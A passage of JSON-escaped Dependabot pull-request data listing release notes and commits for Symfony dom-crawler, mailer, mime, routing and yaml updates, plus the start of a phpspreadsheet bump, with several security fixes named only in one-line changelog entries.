Fix XXE in addXmlContent() by not enabling \u003ccode\u003evalidateOnParse\u003c/code\u003e (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/b59b59122690976550fd142c23fab62c84738db6\"\u003e\u003ccode\u003eb59b591\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/7e65f76c28f5ed8d933f2c86698a3e2bf0de1b10\"\u003e\u003ccode\u003e7e65f76\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/b18373e86fbc4558a206e8055158c8e3e50c4da3\"\u003e\u003ccode\u003eb18373e\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/505deba47e489a7694e0b6942df83a358197e921\"\u003e\u003ccode\u003e505deba\u003c/code\u003e\u003c/a\u003e [DomCrawler] Fix \u003ccode\u003eChoiceFormField::addChoice()\u003c/code\u003e clobbering values on multi-se...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/f47410019c605a651d000371de7263b70a78c681\"\u003e\u003ccode\u003ef474100\u003c/code\u003e\u003c/a\u003e Update XSD references in phpunit.xml.dist files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/b4cf17ff405a77341ad86e81e06ff09298f5aa8f\"\u003e\u003ccode\u003eb4cf17f\u003c/code\u003e\u003c/a\u003e [DomCrawler] Fix XXE in addXmlContent() by not enabling \u003ccode\u003evalidateOnParse\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/6d86f9727e216e81f9d18d32bc4701d70c9d0ac4\"\u003e\u003ccode\u003e6d86f97\u003c/code\u003e\u003c/a\u003e [Tests] Fix \u0026quot;Incomplete version\u0026quot; PHPUnit warnings\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/04ca269f9c0aca5f41b1230bf1fce4f0928f669a\"\u003e\u003ccode\u003e04ca269\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/eac26cf4833a05a92356d285329bfd63e0e46d64\"\u003e\u003ccode\u003eeac26cf\u003c/code\u003e\u003c/a\u003e More CS fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/ca5ad736e4366c8b1499bc493fd86d3bb38c93c2\"\u003e\u003ccode\u003eca5ad73\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/dom-crawler/compare/v7.4.8...v7.4.12\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/mailer` from 6.4.34 to 6.4.40\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/mailer/releases\"\u003esymfony/mailer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.40\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mailer/compare/v6.4.31...v6.4.40\"\u003ehttps://github.com/symfony/mailer/compare/v6.4.31...v6.4.40\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45068  Add end-of-options separator before recipients in SendmailTransport; reject addresses starting with a dash (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/94fd44f3052e02340b0dd4447a7d7a5856e32da2\"\u003e\u003ccode\u003e94fd44f\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/5b5385bc21c3549a80abc1353ccf8eb0b6861c61\"\u003e\u003ccode\u003e5b5385b\u003c/code\u003e\u003c/a\u003e [Mailer] Add end-of-options separator before recipients in SendmailTransport;...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/602519c3466621897c556125dbf644ec8dde2b38\"\u003e\u003ccode\u003e602519c\u003c/code\u003e\u003c/a\u003e PHP CS Fixer: backports changes toward 6.4 branch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/a2918c6f34e601472ee891b517ab223e216ca5a3\"\u003e\u003ccode\u003ea2918c6\u003c/code\u003e\u003c/a\u003e CS fixes - native_function_invocation \u0026amp; static_lambda\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/d56a83b4ba1de6375d0745de9299daf078426fd1\"\u003e\u003ccode\u003ed56a83b\u003c/code\u003e\u003c/a\u003e [CS] Back config from 8.1 and apply heredoc_indentation rule\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/symfony/mailer/compare/v6.4.34...v6.4.40\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/mime` from 6.4.36 to 6.4.41\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/mime/releases\"\u003esymfony/mime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.41\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mime/compare/v6.4.40...v6.4.41\"\u003ehttps://github.com/symfony/mime/compare/v6.4.40...v6.4.41\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64343\"\u003e#64343\u003c/a\u003e  Harden __unserialize against __toString trampolines (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.40\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mime/compare/v6.4.37...v6.4.40\"\u003ehttps://github.com/symfony/mime/compare/v6.4.37...v6.4.40\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45067  Reject email addresses containing line breaks in Address (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.37\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mime/compare/v6.4.36...v6.4.37\"\u003ehttps://github.com/symfony/mime/compare/v6.4.36...v6.4.37\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64047\"\u003e#64047\u003c/a\u003e  Preserve inline part filename instead of overwriting it with the Content-ID (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64044\"\u003e#64044\u003c/a\u003e  Apply tagged MIME type guessers in File::getMimeType() (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/5575d37f8841e4e31d5df79ab3db078ae557ff8e\"\u003e\u003ccode\u003e5575d37\u003c/code\u003e\u003c/a\u003e [Routing][RateLimiter][Mime][Security] Harden __unserialize against __toStrin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/7ccfb0cc6ff707ac9ca34b6ddab0bc6187436cbe\"\u003e\u003ccode\u003e7ccfb0c\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/8f89d3a319b92486b0bcc43c0479d19fdb0e2f64\"\u003e\u003ccode\u003e8f89d3a\u003c/code\u003e\u003c/a\u003e [Mime] Reject email addresses containing line breaks in Address\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/f2f05cbae7ac01c045330d168fc655580916ac1f\"\u003e\u003ccode\u003ef2f05cb\u003c/code\u003e\u003c/a\u003e [Mime] Fix transient test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/330077bc7fbe314758aff62834b758d06ac6d260\"\u003e\u003ccode\u003e330077b\u003c/code\u003e\u003c/a\u003e bug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64047\"\u003e#64047\u003c/a\u003e [Mime] Preserve inline part filename instead of overwriting it wit...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/4c7099f8d130a575c1f179191df261856e26ee1b\"\u003e\u003ccode\u003e4c7099f\u003c/code\u003e\u003c/a\u003e [Mime] Preserve inline part filename instead of overwriting it with the Conte...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/e2ae51ddb09ddeadd3c711e30b365b670e1794bc\"\u003e\u003ccode\u003ee2ae51d\u003c/code\u003e\u003c/a\u003e [FrameworkBundle] Apply tagged MIME type guessers in File::getMimeType()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/3d4867881cef7ebb42e2e8846e09053472edf9b3\"\u003e\u003ccode\u003e3d48678\u003c/code\u003e\u003c/a\u003e More CS fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/05099f572e09a71bd5adb7ad9fab4b5aadcf5481\"\u003e\u003ccode\u003e05099f5\u003c/code\u003e\u003c/a\u003e CS fixes - native_function_invocation \u0026amp; static_lambda\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/f56fd2b0a89486fd3c8e44770919656988add0fb\"\u003e\u003ccode\u003ef56fd2b\u003c/code\u003e\u003c/a\u003e [CS] Back config from 8.1 and apply heredoc_indentation rule\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/symfony/mime/compare/v6.4.36...v6.4.41\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/routing` from 6.4.34 to 6.4.41\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/routing/releases\"\u003esymfony/routing's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.41\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/routing/compare/v6.4.40...v6.4.41\"\u003ehttps://github.com/symfony/routing/compare/v6.4.40...v6.4.41\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-48784  Fix dot-segment encoding for chained \u0026quot;../\u0026quot; and \u0026quot;./\u0026quot; in generated URLs (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/routing/issues/64343\"\u003e#64343\u003c/a\u003e  Harden __unserialize against __toString trampolines (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.40\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/routing/compare/v6.4.37...v6.4.40\"\u003ehttps://github.com/symfony/routing/compare/v6.4.37...v6.4.40\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45065  Fix regex alternation anchoring in \u003ccode\u003eUrlGenerator\u003c/code\u003e requirement validation (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.37\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/routing/compare/v6.4.34...v6.4.37\"\u003ehttps://github.com/symfony/routing/compare/v6.4.34...v6.4.37\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/routing/issues/63981\"\u003e#63981\u003c/a\u003e  Honor the Request's method in UrlMatcher::matchRequest() (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/af04c79671fd8df0805a44c83fa2b0ba56c8329e\"\u003e\u003ccode\u003eaf04c79\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/be4ce34035aa79b8bc3ba1a7d1694435a216f68b\"\u003e\u003ccode\u003ebe4ce34\u003c/code\u003e\u003c/a\u003e [Routing][RateLimiter][Mime][Security] Harden __unserialize against __toStrin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/f4ca0c533854c26e3b27e981da760807f89e1a42\"\u003e\u003ccode\u003ef4ca0c5\u003c/code\u003e\u003c/a\u003e [Routing] Fix dot-segment encoding for chained \u0026quot;../\u0026quot; and \u0026quot;./\u0026quot; in generated URLs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/0cd0d2fb05382c95dff6b33c51a7c96cbdbc136d\"\u003e\u003ccode\u003e0cd0d2f\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/48035d186798d27d375d95aad37db8fe097e4048\"\u003e\u003ccode\u003e48035d1\u003c/code\u003e\u003c/a\u003e [Routing] Honor the Request's method in UrlMatcher::matchRequest()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/275b31328b2e58cab004be0cf086380e2a5c5ee7\"\u003e\u003ccode\u003e275b313\u003c/code\u003e\u003c/a\u003e [Routing] Fix regex alternation anchoring in UrlGenerator requirement validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/1425c2c2c11c5499c3415035c746d7918661a76e\"\u003e\u003ccode\u003e1425c2c\u003c/code\u003e\u003c/a\u003e More CS fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/883d14018234cc6f293faff5e3fd0d3d9b6bc2fb\"\u003e\u003ccode\u003e883d140\u003c/code\u003e\u003c/a\u003e CS fixes - native_function_invocation \u0026amp; static_lambda\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/4bcf92a7914e1253ccece9502678a4154a25e14a\"\u003e\u003ccode\u003e4bcf92a\u003c/code\u003e\u003c/a\u003e [CS] Back config from 8.1 and apply heredoc_indentation rule\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/symfony/routing/compare/v6.4.34...v6.4.41\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/yaml` from 7.4.8 to 7.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/yaml/releases\"\u003esymfony/yaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.13\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.12...v7.4.13\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.12...v7.4.13\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/yaml/issues/64316\"\u003e#64316\u003c/a\u003e  Allow trailing newlines after the end-of-document marker (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.12\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.11...v7.4.12\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.11...v7.4.12\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45305  Harden the Parser::cleanup() regexes against catastrophic backtracking (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esecurity #cve-2026-45304  Bound collection-alias resolution in the parser (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esecurity #cve-2026-45133  Bound recursion depth in the parser (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.11\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.10...v7.4.11\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.10...v7.4.11\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/yaml/issues/64196\"\u003e#64196\u003c/a\u003e  Reject non-stringables when using \u0026quot;!!binary\u0026quot; (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.10\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.6...v7.4.10\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.6...v7.4.10\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/yaml/issues/64119\"\u003e#64119\u003c/a\u003e  fix flow collection drops \u003ccode\u003e\u0026amp;anchor\u003c/code\u003e and \u003ccode\u003e!!str \u0026amp;anchor\u003c/code\u003e items (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/a7ec3b1156faf8815db7683ec7c1e7338e6f977c\"\u003e\u003ccode\u003ea7ec3b1\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/e8fdf3408c85806198d5826e604ffc6830d33152\"\u003e\u003ccode\u003ee8fdf34\u003c/code\u003e\u003c/a\u003e CS fix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/4b5658cbd0d9addde73c09299d179e2724b011b1\"\u003e\u003ccode\u003e4b5658c\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/69b7344651917c541eb1ad85de52ef3649909f3c\"\u003e\u003ccode\u003e69b7344\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/ae0bbb46f77ff56591d0a0259c7f458f4b3e1f77\"\u003e\u003ccode\u003eae0bbb4\u003c/code\u003e\u003c/a\u003e [Yaml] Allow trailing newlines after the end-of-document marker\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/8b6952b56ca6417f25f7a65758cadd0ce02edc51\"\u003e\u003ccode\u003e8b6952b\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/68dcd1f1602dac9d9221e25729683e0ce8733f3b\"\u003e\u003ccode\u003e68dcd1f\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/b0b27055f055f0d314c5c68ed0c10f0bbd90aee0\"\u003e\u003ccode\u003eb0b2705\u003c/code\u003e\u003c/a\u003e [Yaml] Harden the Parser::cleanup() regexes against catastrophic backtracking\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/5a351ff7a15e631cd7abaa44f2a5e5fc3f0c43f6\"\u003e\u003ccode\u003e5a351ff\u003c/code\u003e\u003c/a\u003e [Yaml] Bound collection-alias resolution in the parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/e2eb64a57763815ccae07ac1c7653d6cc1c326fd\"\u003e\u003ccode\u003ee2eb64a\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.8...v7.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/REChain-Network-Solutions/AIPlatform/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/REChain-Network-Solutions/AIPlatform/pull/422","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/REChain-Network-Solutions%2FAIPlatform/issues/422","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/422/packages"},{"uuid":"4346892180","node_id":"PR_kwDOGuRGbc7Whk9L","number":39,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.30.1 to 1.30.4","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-08T23:38:42.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-28T23:28:20.000Z","updated_at":"2026-06-08T23:38:43.000Z","time_to_close":3543022,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.30.1","new_version":"1.30.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.30.1 to 1.30.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca 